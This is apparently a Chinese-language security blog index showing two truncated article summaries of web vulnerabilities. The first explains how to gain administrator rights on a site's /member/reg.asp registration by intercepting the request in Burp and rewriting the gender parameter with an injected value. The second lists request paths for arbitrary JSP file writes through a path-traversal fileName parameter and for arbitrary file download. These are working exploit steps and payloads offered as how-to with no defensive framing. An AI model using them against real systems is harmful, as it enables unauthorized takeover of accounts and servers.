摘要：
通过/member/reg.asp 注册普通用户时修改post参数可提升为管理员打开burp进行抓包修改,默认的参数是&Gander=1 修改为Gander=1,1,1,1,1,1,1,1) 选中按ctrl+shift+u进行编码截断,此原理是在注 册用户的时候没有判断性别参数 Gender 是否为 阅读全文
摘要：
/editor/uploadAction.action1. epstar/servlet/RaqFileServer?action=save&fileName=/../test.jsp 火狐 post内容 hello word 任意下载： DownLoadServlet?fileName=&file 阅读全文